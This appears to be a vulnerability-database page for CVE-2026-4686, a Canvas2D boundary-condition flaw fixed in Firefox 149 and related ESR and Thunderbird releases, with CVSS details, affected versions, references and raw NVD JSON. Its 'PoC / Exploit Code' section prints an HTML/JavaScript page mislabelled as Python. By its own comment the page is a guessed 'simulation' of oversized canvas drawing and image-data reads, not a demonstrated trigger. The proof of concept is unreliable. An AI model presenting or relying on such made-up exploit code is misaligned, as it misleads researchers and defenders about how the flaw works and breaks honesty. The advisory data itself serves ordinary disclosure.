CVE-2026-4686

Description

Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

Firefox < 149

Firefox ESR < 115.34

Firefox ESR < 140.9

Thunderbird < 149

Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4686 -->
<!-- Triggers incorrect boundary conditions in Canvas2D -->
<html>
<body>
<canvas id="pocCanvas"></canvas>
<script>
  const canvas = document.getElementById('pocCanvas');
  const ctx = canvas.getContext('2d');
  // Setup canvas dimensions
  canvas.width = 1000;
  canvas.height = 1000;

  // Trigger vulnerability with specific drawing operations
  // This is a simulation based on the "Incorrect boundary conditions" description
  try {
    ctx.fillStyle = '#000000';
    // Potential trigger for boundary check failure
    ctx.fillRect(0, 0, 9999, 9999); // Oversized dimensions
    ctx.beginPath();
    ctx.moveTo(-100, -100);
    ctx.lineTo(1100, 1100);
    ctx.stroke();
    // Manipulate image data potentially causing OOB read/write
    const imgData = ctx.getImageData(0, 0, 1001, 1001);
  } catch (e) {
    console.log("Crash or exception triggered: " + e.message);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4686
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4686
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4686/
[4] VulDB https://vuldb.com/cve/CVE-2026-4686
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2016351
[6] https://www.mozilla.org/security/advisories/mfsa2026-20/
[7] https://www.mozilla.org/security/advisories/mfsa2026-21/
[8] https://www.mozilla.org/security/advisories/mfsa2026-22/
[9] https://www.mozilla.org/security/advisories/mfsa2026-23/
[10] https://www.mozilla.org/security/advisories/mfsa2026-24/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4686", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:04.440", "lastModified": "2026-04-13T15:17:36.743", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Condiciones de contorno incorrectas en el componente Graphics: Canvas2D. Esta vulnerabilidad afecta a Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149 y Thunderbird < 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.34.0", "matchCriteriaId": "063BE653-69B0-4543-9A90-BC7A62C943B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "128.0", "versionEndExcluding": "140.9.0", "matchCriteriaId": "525DEC0C-BB47-46C6-9AEB-98F27D4685FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2016351", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-21/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}